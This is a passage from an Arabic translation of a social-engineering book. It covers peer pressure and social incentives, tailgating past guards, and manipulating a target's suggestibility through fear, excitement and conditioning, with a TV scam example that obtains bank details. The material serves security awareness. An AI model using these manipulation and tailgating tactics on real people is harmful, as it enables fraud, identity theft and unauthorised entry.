‫ﻟﺗرى ﻗوة اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ ﺧﻠﻖ اﻟﻘﺎدة ﺧﻼل ﻣﻧﺎورات اﻟﺗدرﯾب‪ .‬وذﻟك ﻣن ﺧﻼل إﯾﺟﺎد أرﺑﻊ ﺳﯾﻧﺎرﯾوھﺎت ﻣﺧﺗﻠﻔﺔ ﻟﻣﺟﻣوﻋﺔ وﺗﺣﻠﯾل ﻣﺎ‬
‫اﻵﺛﺎر اﻟﻣﺗرﺗﺑﺔ ﻋﻠﻰ اﻟطﻼب‪.‬‬
‫ﻛﺎﻧت اﻟﻧﺗﺎﺋﺞ اﻟﻧﮭﺎﺋﯾﺔ ﻟﮭذا اﻟﺣﺎﻓز اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﻋﺎدة ﻣﺎ ﺗﻧطوي ﻋﻠﻰ اﻟﺛﻧﺎء أو اﻟﺗﻌزﯾز اﻹﯾﺟﺎﺑﻲ ﻣن أﻗراﻧﮭم أو رﻣوز اﻟﺳﻠطﺔ‪ ،‬وﺧﻠﻖ راﺑطﺔ ﻗوﯾﺔ‬
‫ﺑﯾن اﻟطﻼب واﻟﻣﻌﻠﻣﯾن‪:‬‬
‫"اﻻﺳﺗﻧﺗﺎج اﻟرﺋﯾﺳﻲ ﻟﮭذا اﻟﺟﮭد اﻟﺑﺣﺛﻲ ﻛﻠﮫ ھو أن إدارة اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻓن ﺻﻌب ﻟﻠﻐﺎﯾﺔ‪ .‬ﻓﻲ ﺣﯾن أن اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن‬
‫ﺗﺣدﯾدھﺎ وﺗﺣﺟﯾﻣﮭﺎ ﺑﺳﮭوﻟﮫ ﻛﺑﯾره‪ ،‬ﻓﺎن اﻟﺗﻼﻋب وإدارة ﻧﻔس اﻟﺣواﻓز ﯾﺗطﻠب ﺟﮭدا أﻛﺑر ﺑﻛﺛﯾر‪ .‬ﺗﺷﯾر ﺑﯾﺎﻧﺎت اﻟﺗﺣﺟﯾم اﻟﻰ ﺟﺎذﺑﯾﺔ ﻋﺎﻟﯾﺔ اﻟﻘﯾﻣﺔ‬
‫ﻟﻠﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺧﺗﻠﻔﺔ‪ .‬ﻧﺗﺎﺋﺞ اﻟﺗﺟرﺑﺔ اﻟﻣﯾداﻧﯾﺔ ﺗظﮭر اﻟﺗﺄﺛﯾر اﻹﯾﺟﺎﺑﻲ ﻟﻣﻣﺎرﺳﺔ اﻟﺗﻌﺎرف واﻟﻌﻘد اﻟﻧﻔﺳﯾﺔ ﻋﻠﻰ اﻟﻣواﻗف )اﻟﺣﺎﻟﺔ( اﺗﺟﺎه‬
‫زﻣﻼﺋﮫ اﻟﻣﺗدرﺑﯾن‪ .‬ﻛل ﻣن ھذه اﻟﻧﺗﺎﺋﺞ ﺗؤﻛد ﻋﻠﻰ أھﻣﯾﺔ اﻟﻌواﻣل اﻻﺟﺗﻣﺎﻋﯾﺔ"‪.‬‬
‫وﺑﻌﺑﺎرة أﺧرى‪ ،‬زﯾﺎدة أو ﺧﻔض ﺟﺎذﺑﯾﺔ اﻟﺣﺎﻓز اﻻﺟﺗﻣﺎﻋﻲ ﻟﯾﺳت ﺻﻌﺑﺔ ﺟدا ﺑﻣﺟرد أن ﺗﻌرف ﻣﺎ ﯾﺣﻔز اﻟﺷﺧص‪ .‬ھذه اﻟظﺎھرة واﺿﺣﺔ‬
‫ﺧﺻوﺻﺎ ﻓﻲ ﻣﺟﻣوﻋﺎت ﻣن اﻟﻣراھﻘﯾن‪ .‬ﻋﻧدﻣﺎ ﯾﻛﺗﺷﻔون ﺷﻲء ﻣﺎ ﯾزﻋﺞ ﺷﺧص ﻣﺎ‪ ،‬ﻓﺎﻧﮭم ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗم اﺳﺗﺧداﻣﮫ ﻛﺳﻼح ﻟﻔرض اﻻﻣﺗﺛﺎل‪ .‬ﻛﻠﻣﺎ‬
‫ﻛﺎﻧت اﻟﻣﺟﻣوﻋﺔ ﺗوﻓر اﻟﺿﻐط‪ ،‬ﻓﺳوف ﺗزﯾد ﻓرﺻﺔ أن اﻟﮭدف ﺳوف ﯾﻣﺗﺛل‪.‬‬
‫ھذا ﺑﯾﺎن ﻗوي‪ .‬وأﺗﺳﺎءل ﻛﯾف ﺳوف ﺗذھب ھذه اﻷﺑﺣﺎث إذا ﻛﺎن اﻟﺑﺎﺣﺛون ﻗﺎدرون ﻋﻠﻰ اﺳﺗﺧدام ﻋدد ﻛﺑﯾر ﻣن ﻣواﻗﻊ وﺳﺎﺋل اﻻﻋﻼم‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺗﻲ ﺗوﺟد اﻟﯾوم‪ .‬ﺿﻐط اﻷﻗران )‪ (Peer pressure‬ﻟﮫ ﺗﺄﺛﯾر ﻗوي واﻟﺟﻣﯾﻊ ﯾرﯾد أن ﯾواﻛب ھذا وان ﯾﻛون ﺟزءا ﻣن اﻟﺣﺷد‪.‬‬
‫ﻋﻣل اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻓﻲ ﻋﺎم ‪ 2007‬ﻛﺗب ﻣﺟﻣوﻋﺔ ﻣن اﻟﺑﺎﺣﺛﯾن )أورﯾﺎﻧﺎ ﺑﺎﻧدﯾرا‪ ،‬إﯾوان ﺑﺎراﻧﻛﻰ‪ ،‬وﻋﻣران رﺳول( ﻛﺗﺑوا ﺑﺣﺛﯾﺎ ﺑﻌﻧوان‬
‫"اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ‪ :‬أﺳﺑﺎب وﻋواﻗب اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ ﻣﻛﺎن اﻟﻌﻣل" واﻟﺗﻲ ﯾﻣﻛﻧك اﻻطﻼع ﻋﻠﯾﮫ ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻲ‪:‬‬
‫‪http://www.social-engineer.org/wiki/archives/Manipulation/Manipulation-Social-Incentivespdf.pdf‬‬
‫اﻟﺗﻘرﯾر ھو دراﺳﺔ ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم ﻋﻠﻰ ﻏرار دراﺳﺔ ﺳﻼح اﻟﺟو‪ ،‬وﻟﻛﻧﮭﺎ أﻗﯾﻣت ﻓﻲ ‪ .2007‬ھﻲ أﺳﺎﺳﺎ ﺗﺣﻠﯾل اﻟﺑﺎﺣﺛون ﻟﻛﯾف ﻷوﻟﺋك اﻟذﯾن‬
‫ﻟدﯾﮭم "أﺻدﻗﺎء" ﻓﻲ اﻟﻌﻣل اﻟﺗﻌﺎﻣل ﻣﻊ وظﺎﺋﻔﮭم ﻋﻧدﻣﺎ ﯾﻌﻣﻠون ﻓﻲ ﻣﺟﻣوﻋﺎت ﻣﻊ أﺻدﻗﺎﺋﮭم‪ .‬اﺳﺗﻧﺗﺎﺟﮭم‪:‬‬
‫اﻟﻧﺗﺎﺋﺞ اﻟﺗﻲ ﺗوﺻﻠﻧﺎ إﻟﯾﮭﺎ ﺗﺷﯾر إﻟﻰ أن ھﻧﺎك ﺣواﻓز اﺟﺗﻣﺎﻋﯾﺔ ﻋﻧد وﺟود اﻷﺻدﻗﺎء ﯾؤﺛر ﻋﻠﻰ إﻧﺗﺎﺟﯾﺔ اﻟﻌﻣﺎل‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن ﻋدم وﺟود أي‬
‫ﻋواﻣل ﺧﺎرﺟﯾﺔ ﻣن ﺟﮭد اﻟﻌﻣﺎل إﻟﻰ زﻣﻼﺋﮭم ﻓﻲ اﻟﻌﻣل ﺑﺳﺑب ﺗﻛﻧوﻟوﺟﯾﺎ اﻹﻧﺗﺎج أو ﺧطﺔ اﻟﺗﻌوﯾض ﻓﻲ اﻟﻣﻛﺎن‪ .‬ﺑﺳﺑب اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﺎن‬
‫اﻟﻌﻣﺎل ﯾﺗواﻓﻘون ﻣﻊ ﻗﺎﻋدة ﻣﺷﺗرﻛﺔ ﻋﻧد اﻟﻌﻣل ﻣﻌﺎ‪ .‬ﻣﺳﺗوى اﻟﻘﺎﻋدة ﻣن ھذا اﻟﻘﺑﯾل ھو أن وﺟود اﻷﺻدﻗﺎء ﯾزﯾد ﻣن إﻧﺗﺎﺟﯾﺔ اﻟﻌﻣﺎل اﻟذﯾن ھم أﻗل‬
‫ﻗدرة ﻣن أﺻدﻗﺎﺋﮭم وﯾﻘﻠل ﻣن إﻧﺗﺎﺟﯾﺔ اﻟﻌﻣﺎل اﻟذﯾن ھم أﻛﺛر ﻗدرة ﻣن أﺻدﻗﺎﺋﮭم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪943‬‬

‫اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ اﻟﻌواﻣل اﻟﮭﺎﻣﺔ ﻣن اﻟﻧﺎﺣﯾﺔ اﻟﻛﻣﯾﺔ ﻷداء اﻟﻌﺎﻣل‪ .‬ﻛﻣﺎ ﯾﺗم اﻟدﻓﻊ ﻟﻠﻌﻣﺎل ﺑﺎﻟﻘطﻌﺔ ﻋﻠﻰ أﺳﺎس اﻹﻧﺗﺎﺟﯾﺔ اﻟﻔردﯾﺔ‪ ،‬ﻓﻘوة‬
‫اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﺗﻠك اﻟﺗﻲ )‪ (1‬ﺗﺟﻌل اﻟﻌﻣﺎل اﻟذﯾن ھم أﻛﺛر ﻗدرة ﻣن أﺻدﻗﺎﺋﮭم ﻋﻠﻰ اﺳﺗﻌداد ﻟﻠﺗﺧﻠﻲ ﻋن ‪ ٪10‬ﻣن أرﺑﺎﺣﮭم ﻟﯾﺗواﻓﻖ ﻣﻊ‬
‫اﻟﻣﻌﯾﺎر‪ (2) .‬اﻟﻌﻣﺎل اﻟذﯾن ﻟدﯾﮭم ﺻدﯾﻖ واﺣد ﻋﻠﻰ اﻷﻗل اﻟذي ھو أﻛﺛر ﻗدرة ﻣن أﻧﻔﺳﮭم ﻋﻠﻰ اﺳﺗﻌداد ﻟزﯾﺎدة اﻹﻧﺗﺎﺟﯾﺔ ﺑﻧﺳﺑﺔ ‪ ٪10‬ﻟﻣواﺟﮭﺔ‬
‫اﻟﻘﺎﻋدة‪ .‬وﻋﻣوﻣﺎ‪ ،‬ﻓﺈن ﺗوزﯾﻊ ﻗدرة اﻟﻌﺎﻣل ﻋﻠﻰ ھذا اﻟﻣﻧوال ﻓﺎﻧﮫ اﻷﺧﯾر ﻟﮫ اﻟﺗﺄﺛﯾر اﻟﻣﮭﯾﻣن ﻟذﻟك ﻓﺎن اﻷﺛر اﻟﺻﺎﻓﻲ ﻟﻠﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ‬
‫أداء اﻟﺷرﻛﺎت ھو إﯾﺟﺎﺑﻲ‪.‬‬
‫وﺟود أﺻدﻗﺎء ﯾﻌﻧﻲ أن اﻟﺷﺧص ﺳوف ﯾﻌﻣل ﻓﻲ اﻟواﻗﻊ أﺻﻌب أو أﻗل اﻋﺗﻣﺎدا ﻋﻠﻰ ﻣﺳﺗوى اﻟﻌﻣل اﻟﻣﻌﺗﺎد‪ .‬ﺿﻐط اﻷﻗران ﻣﻊ ﻏﯾﺎب اﻟﺿﻐط‬
‫اﻟﻔﻌﻠﻲ ﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ ﻋﻣل اﻟﻧﺎس‪ .‬ھﻧﺎك ﻧﻘطﺔ ﺟﯾدة ﻓﻲ اﻹدارة ھو وﺿﻊ داﺋﻣﺎ أﻛﺛر اﻟﻌﻣﺎل ﻋﻣﻼ واﻟﻘﯾﺎدات اﻟطﺑﯾﻌﯾﺔ ﻋﻠﻰ اﻟﻣﺟﻣوﻋﺔ‪.‬‬
‫وﻟﻛن ھﻧﺎك اﻟﻛﺛﯾر ﻟﻧﺗﻌﻠﻣﮫ ﻓﻲ ھذا اﻟﺑﺣث‪.‬‬
‫ھذا اﻷﺳﻠوب ھو ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾﺔ "اﻟذﯾل اﻟﻧﺎﺑض )‪ ."(tail-gating‬ﻣن ﺧﻼل ﺣﺷد ﻛﺑﯾر ﻣن اﻟﻧﺎس ﯾﻌودون ﻣن اﺳﺗراﺣﺔ‬
‫اﻟﻐداء أو اﻟﻌﺷﺎء وﻣن ﺛم ﺗﺑدو ﻛﺄﻧك واﺣدة ﻣن اﻟﻣوظﻔﯾن ﯾﻘﻠل ﻣن ﻓرص ﺣﺎرس اﻷﻣن إﯾﻘﺎﻓﮫ ﻟك ﺑﯾﻧﻣﺎ ﺗﻣﺷﻰ ﻣن ﺧﻼل اﻷﺑواب اﻷﻣﺎﻣﯾﺔ‪.‬‬
‫ﺑل ھو أﯾﺿﺎ ﻛﯾف ﯾﻣﻛن اﻟﺗﻼﻋب ﺑﻣﺟﻣوﻋﺎت ﻛﺎﻣﻠﺔ ﻣن اﻟﻧﺎس إﻟﻰ اﻟﺗﻔﻛﯾر ﻓﻲ ﻋﻣل ﻣﺎ أو ﻣوﻗف ﻏﯾر ﻣﻘﺑول‪ .‬ﯾﻣﻛﻧك ان ﺗرى ھذا ﻓﻲ ﺻﻧﺎﻋﺔ‬
‫اﻟﺗرﻓﯾﮫ ﻛﻣﺎ ﻓﻲ ﻛل ﻋﺎم ﯾﺑدو أن اﻟﻣﺳﺗوى ﻣﺎ ھو ﻣﻘﺑول أو ﻣﻌﻧوﯾﺔ ﻟﻠﺣﺻول ﻋﻠﻰ ﺗﺧﻔﯾض‪ ،‬وﻟﻛن ﯾﺑﺎع ھذا اﻻﻧﺧﻔﺎض ﻓﻲ ﻣﺳﺗوﯾﺎت ﺑﺎﺳم‬
‫"اﻟﺣرﯾﺔ‪".‬‬
‫ھذه اﻟﺣواﻓز اﻟﺛﻼﺛﺔ ﻟﯾﺳت اﻷﻧواع اﻟوﺣﯾدة اﻟﺗﻲ ﯾﺗم اﺳﺗﺧداﻣﮭﺎ‪ .‬ﯾﻣﻛن أن ﺗﺗﻔرع إﻟﻰ ﺟواﻧب أﺧرى ﺧﺎرﺟﺔ ﻋن ﻧطﺎق ھذا اﻟﻛﺗﺎب‪ ،‬وﻟﻛن اﻟﺳؤال‬
‫ﻻ ﯾزال ﯾطرح ﻧﻔﺳﮫ ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬

‫اﻟﺗﻼﻋب ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(MANIPULATION IN SOCIAL ENGINEERING‬‬

‫اﻟﺗﻼﻋب ھو أﻗل ﻣن ﺟﻌل اﻵﺧرﯾن ﯾﻔﻛرون ﻣﺛﻠك وﺟﻌﻠﮭم ﯾﺷﻌرون ﺑﺎﻟراﺣﺔ‪ ،‬وأﻛﺛر ﻣن ذﻟك ﻋن طرﯾﻖ إﺟﺑﺎرھم ﻋﻠﻰ ﻓﻌل ﻣﺎ ﺗرﯾد‪.‬‬
‫اﻹﻛراه )‪ (Coercion‬ﻟﯾﺳت ﻛﻠﻣﺔ ودﯾﺔ‪ .‬وھو ﻣﺎ ﯾﻌﻧﻲ "ﻹﺟﺑﺎر ﻋﻠﻰ اﻟﻌﻣل أو اﻟﺗﻔﻛﯾر ﺑطرﯾﻘﺔ ﻣﻌﯾﻧﺔ" أو "ﻟﻠﮭﯾﻣﻧﺔ‪ ،‬ﻛﺑﺢ ﺟﻣﺎح‪ ،‬أو اﻟﺳﯾطرة‬
‫ﺑﺎﻟﻘوة"‪ .‬اﻟﺗﻼﻋب واﻹﻛراه ﯾﺳﺗﺧدﻣﺎ اﻟﻘوة اﻟﻧﻔﺳﯾﺔ ﻟﺗﻐﯾﯾر اﻟﻔﻛر واﻟﻣﻌﺗﻘدات واﻟﻣواﻗف واﻟﺳﻠوﻛﯾﺎت ﻣن اﻟﮭدف‪ .‬اﻟﻣﻔﺗﺎح ﻻﺳﺗﺧداﻣﮭﺎ ھو ﺟﻌل‬
‫ﺧطوات ﺻﻐﯾرة ﺑﺣﯾث ﺗﻛون ﻏﯾر ﻣرﺋﯾﺔ ﺗﻘرﯾﺑﺎ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻻ ﯾرﯾد أن ﯾﻧﺑﮫ اﻟﮭدف ﺑﺎﻧﮫ ﯾﺗم اﻟﺗﻼﻋب ﺑﮫ‪ .‬ﺑﻌض اﻷﺳﺎﻟﯾب اﻟﺗﺎﻟﯾﺔ ﻗد‬
‫ﺗﻛون ﻣﺛﯾرة ﻟﻠﺟدل ﺟدا وﻓظﯾﻌﺔ ﺑﺻراﺣﺔ‪ ،‬وﻟﻛن ﯾﺗم اﺳﺗﺧداﻣﮭﺎ ﻛل ﯾوم ﻣن ﻗﺑل اﻟﻣﺣﺗﺎﻟﯾن وﻟﺻوص اﻟﮭوﯾﺔ‪ ،‬وﻣﺎ ﺷﺎﺑﮫ ذﻟك‪ .‬واﺣد ﻣن أھداف‬
‫اﻟﺗﻼﻋب ﯾﻣﻛﻧﮫ ﺧﻠﻖ اﻟﻘﻠﻖ‪ ،‬اﻟﺗوﺗر‪ ،‬واﻟﺿﻐط اﻻﺟﺗﻣﺎﻋﻲ اﻻ ﻣﺑرر ﻟﮫ‪ .‬ﻋﻧدﻣﺎ ﯾﺷﻌر اﻟﮭدف ﺑﮭذه اﻟطرﯾﻘﺔ ﻓﮭو أﻛﺛر ﻋرﺿﺔ ﻻﺗﺧﺎذ إﺟراء‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺗﻼﻋب ﺑﮫ ﻻﺗﺧﺎذه‪.‬‬
‫ﻣﻊ أﺧذ ذﻟك ﻓﻲ اﻻﻋﺗﺑﺎر‪ ،‬ﯾﻣﻛﻧك ان ﺗرى ﻟﻣﺎذا ﯾﻌﺗﻘد ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن أن اﻟﺗﻼﻋب ذات ﺿوء ﺳﻠﺑﻲ‪ ،‬وﻟﻛن ﯾﺗم اﺳﺗﺧداﻣﮫ ﻓﻲ اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﯾﺟب أن ﯾﻧﺎﻗش‪.‬‬
‫زﯾﺎدة اﻹﯾﺤﺎء ﻋﻨﺪ اﻟﮭﺪف )‪(Increasing a Target’s Suggestibility‬‬
‫زﯾﺎدة اﻹﯾﺣﺎء ﻋﻧد اﻟﮭدف ﻣن اﻟﻣﻣﻛن أن ﯾﺷﻣل اﺳﺗﺧدام ﻣﮭﺎرات اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ )‪ (NLP‬اﻟﺗﻲ ﻧوﻗﺷت ﺳﺎﺑﻘﺎ أو اﻹﺷﺎرات اﻟﺑﺻرﯾﺔ اﻷﺧرى‪.‬‬
‫ﻓﻲ وﻗت ﺳﺎﺑﻖ ﻛﻧت ﻗرأت ﻋن ﺗﮭﯾﺋﺔ اﻟﻧﺎس ﻣﻊ اﺳﺗﺧدام ﻧﻘرات اﻟﻘﻠم أو اﻟﺿوﺿﺎء أو اﻹﯾﻣﺎءات اﻷﺧرى اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺛﯾر اﻟﻌﺎطﻔﺔ ﺣﺗﻰ‬
‫ﻋﻧدﻣﺎ ﻻ ﺗﺗﺣدث اﻟﻛﻠﻣﺎت‪.‬‬
‫رأﯾت ذات ﻣرة ھذا اﻟﻌﻣل ﻋﻧدﻣﺎ ﻛﻧت ﻣﻊ ﺷﺧص ﻛﺎن ﯾﺗﻼﻋب ﺑﺎﻟﮭدف‪ .‬ﺣﯾث اﺳﺗﺧدم ﻧﻘر اﻟﻘﻠم ﻟﻺﺷﺎرة إﻟﻰ ﻓﻛر إﯾﺟﺎﺑﻲ‪ .‬ﻛﺎن ﯾﻘول ﺷﯾﺋﺎ‬
‫إﯾﺟﺎﺑﯾﺎ ﺛم ﯾﻧﻘر اﻟﻘﻠم ﻣﻊ اﺑﺗﺳﺎﻣﮫ‪ .‬ﺑﻌد ذﻟك‪ ،‬رأﯾت اﻟﺷﺧص ﯾﺑدأ ﻓﻲ اﻻﺑﺗﺳﺎﻣﺔ ﺑﻌد ﺣواﻟﻲ أرﺑﻊ أو ﺧﻣس ﻣرات ﻣن ﺳﻣﺎع ﻧﻘرة اﻟﻘﻠم‪ .‬ﺛم طرح‬
‫ﻣوﺿوع ﻣﺣزن ﺟدا وﻧﻘر ﻗﻠﻣﮫ‪ ،‬ﺛم اﺑﺗﺳم اﻟﮭدف وﺷﻌر ﺑﺎﻟﺣرج ﻋﻠﻰ اﻟﻔور‪ .‬ﻛﺎن ھذا اﻹﺣراج ﺑﺎب ﻣﻔﺗوح ﯾﺣﺗﺎج ﻟﻣﻌﺎﻟﺟﺔ اﻟﮭدف ﻋﻠﻰ ﻓﻌل ﻣﺎ‬
‫ﯾرﯾد‪.‬‬
‫ﺧﻠﻖ اﻟﺣﺎﻟﺔ اﻟﺗﻲ ﯾﻛون ﻓﯾﮭﺎ اﻟﺷﺧص اﻵﺧر ﯾﺷﻌر ﺑﻌرﺿﺔ ﻟﻼﻗﺗراح ﯾﻛون ﻣن ﺧﻼل ﺗﻛرار اﻷﻓﻛﺎر أو ﻏﯾرھﺎ ﻣن اﻟوﺳﺎﺋل اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن‬
‫ﺗﻠﯾن اﻟﮭدف إﻟﻰ اﻷﻓﻛﺎر اﻟﺗﻲ ﺗﺣﺎول ﺗﻘدﯾﻣﮭﺎ‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﻟﺗﺄﻛد ﻣن اﻹﻋدادات ﻛﻠﮫ اﻟﻣوﺟﮭﺔ ﻧﺣو ھذا اﻟﺗﻼﻋب‪ ،‬اﻟﻌﺑﺎرات اﻟﻣﺳﺗﺧدﻣﺔ واﻟﺻور اﻟﺗﻲ رﺳﻣﺗﮭﺎ اﻟﻛﻠﻣﺎت‪ ،‬وأﻟوان‬
‫اﻟﻣﻼﺑس اﻟﻣﺧﺗﺎرة ﻟﻼرﺗداء‪ .‬ﻛل ذﻟك ﯾﻣﻛن أن ﺗﺟﻌل اﻟﮭدف أﻛﺛر ﻋرﺿﺔ‪.‬‬
‫وﻟﯾﺎم ﺳﯾرﺟﻧت‪ ،‬طﺑﯾب ﻧﻔﺳﻲ ﻣﺛﯾر ﻟﻠﺟدل وﻣؤﻟف ﻛﺗﺎب ﻋن ﻣﻌراك اﻟﻌﻘل )‪ ،(Battle for the Mind‬ﯾﺗﺣدث ﻋن اﻟطرق اﻟﺗﻲ ﯾﺗم ﻣن‬
‫ﺧﻼﻟﮭﺎ اﻟﺗﻼﻋب ﺑﺎﻟﻧﺎس‪ .‬وﻓﻘﺎ ﻟﺳﯾرﺟﻧت‪ ،‬ﻓﮭﻧﺎك أﻧواع ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﻣﻌﺗﻘدات ﯾﻣﻛن زرﻋﮭﺎ ﻓﻲ اﻟﻧﺎس ﺑﻌد أن ﯾﺻﺑﺢ اﻟﮭدف ﻣﺿطرب‪/‬ﻣرﺗﺑك‬
‫ﻧﺗﯾﺟﺔ اﻟﺧوف‪ ،‬اﻟﻐﺿب‪ ،‬أو اﻹﺛﺎرة‪ .‬ھذه اﻟﻣﺷﺎﻋر ﺳﺑب اﻟﺗﺄﺛر ﺑﺎﻹﯾﺣﺎء وﺿﻌف اﻟﺣﻛم‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن اﺳﺗﺧدام ھذا اﻟﺟﮭﺎز ﻟﺻﺎﻟﺣﮫ ﻣن ﺧﻼل ﺗﻘدﯾم اﻗﺗراح ﻟﻠﮭدف اﻟذي ﯾﺳﺑب اﻟﺧوف أو اﻹﺛﺎرة وﻣن ﺛم ﺗﻘدﯾم اﻟﺣل اﻟذي‬
‫ﯾﺗﺣول إﻟﻰ اﻻﻗﺗراح‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪944‬‬

‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ إﺣدى ﺣﻠﻘﺎت ﺗﻠﻔزﯾون ‪ BBC‬ﻋن اﻟﻣﺳﻠﺳل ‪ ،The Real Hustle‬ﺣﯾث ﻗﺎﻣوا ﺑﻌرض ﻟﻌﻣﻠﯾﺔ اﻟﻧﺻب واﻻﺣﺗﯾﺎل‬
‫ﻹظﮭﺎر ﻛﯾف ﯾﻌﻣل ھذا‪ ،‬وذﻟك ﻣن ﺧﻼل اﻗﺎﻣﺔ ﺟﻧﺎح ﻓﻲ ﻣرﻛز ﺗﺟﺎري واﻟﺗﻲ ﺳﻣﺣت ﻟﻠﻧﺎس ﻟﺷراء ﺗذاﻛر اﻟﺳﺣب‪ .‬ﻛﺎن اﻟﻧﺎس ﯾﻘوﻣون ﺑﺷراء‬
‫اﻟﺗذﻛرة ﻟﻠﺣﺻول ﻋﻠﻰ ﻓرﺻﺔ ﻟﻠﻔوز ﺑﺛﻼث ﺟواﺋز ﻗﯾﻣﺗﮭﺎ أﻛﺛر ﺑﻛﺛﯾر ﻣن اﻟﺗذﻛرة اﻟﺗﻲ اﺷﺗروھﺎ‪.‬‬
‫اﻣرأة واﺣده اﺷﺗرت اﻟﺗذﻛرة‪ ،‬وﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﻓﺎزت ﺑﺄﻛﺑر ﺟﺎﺋزة‪ .‬ﻛﺎﻧت ﻟﮭﺎ اﻹﺛﺎرة اﻟﺷدﯾدة ﻷﻧﮭﺎ ﻟم ﺗﻔز أي ﺷﻲء ﻣﺛل ھذا ﻣن ﻗﺑل‪ .‬ﻓﻲ ھذه‬
‫اﻟﻣرﺣﻠﺔ‪ ،‬أﻋطﻰ ﺑول وﯾﻠﺳون اﻗﺗراح ﻟﻠﺗﻼﻋب ﺑﮭﺎ‪ :‬ﻓﻲ ذروة اﻹﺛﺎرة ﻗﺎل ﻟﮭﺎ أﻧﮭﺎ ﻣﺿطرة ﻹﻗﺎﻣﺔ اﺗﺻﺎل ﺑرﻗم اﻟﮭﺎﺗف وﺗوﻓﯾر ﻣﻌﻠوﻣﺎت اﻟﺑﻧك‬
‫ﻟﮭﺎ ﻟﻠﻣطﺎﻟﺑﺔ ﺟﺎﺋزﺗﮭﺎ‪ .‬ﻓﻌﻠت ذﻟك دون ﺗردد‪ .‬اﻻﻗﺗراح اﻟذي ﺻﻧﻊ اﻻﺣﺳﺎس‪ ،‬ﺧﺻوﺻﺎ ﻓﻲ ﺿوء اﻹﺛﺎرة ﻟﮭﺎ‪.‬‬
‫ﻣﻌرﻓﺔ اﻟﮭدف ﻣﺎ ﯾﺣب‪ ،‬ﯾﻛره‪ ،‬أﺳﻣﺎء أطﻔﺎل‪ ،‬ﻓرﻗﮭم اﻟﻣﻔﺿﻠﺔ‪ ،‬اﻷطﻌﻣﺔ اﻟﻣﻔﺿﻠﺔ‪ ،‬وﻣن ﺛم اﺳﺗﺧدام ھذا ﻟﺧﻠﻖ ﺑﯾﺋﺔ ﻋﺎطﻔﯾﺔ ﺳﯾﺟﻌل ﺧﻠﻖ اﻟﺟو‬
‫ﻋرﺿﺔ أﺳﮭل ﺑﻛﺛﯾر‪.‬‬
‫اﻟﺴﯿﻄﺮة ﻋﻠﻰ ﺑﯿﺌﺔ اﻟﮭﺪف )‪(Controlling the Target’s Environment‬‬
‫اﻟﺳﯾطرة ﻋﻠﻰ ﺑﯾﺋﺔ اﻟﮭدف ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ اﻻﻧﺗرﻧت‪ ،‬واﻻﺣﺗﯾﺎل‪ ،‬وﺳرﻗﺔ اﻟﮭوﯾﺔ‪.‬‬
‫ﺗﺻﺑﺢ ﺟزءا ﻣن ﻧﻔس اﻟﺷﺑﻛﺎت واﻟﻔﺋﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻌطﻲ اﻟﻣﮭﺎﺟم ﻓرﺻﺔ "وﺟﮭﺎ ﻟوﺟﮫ" ﻟﯾﻛون ﻗﺎدر ﻋﻠﻰ اﻟﺗﻼﻋب ﺑﺎﻷھداف ﻓﻲ اﻟﺗﺻرف أو‬
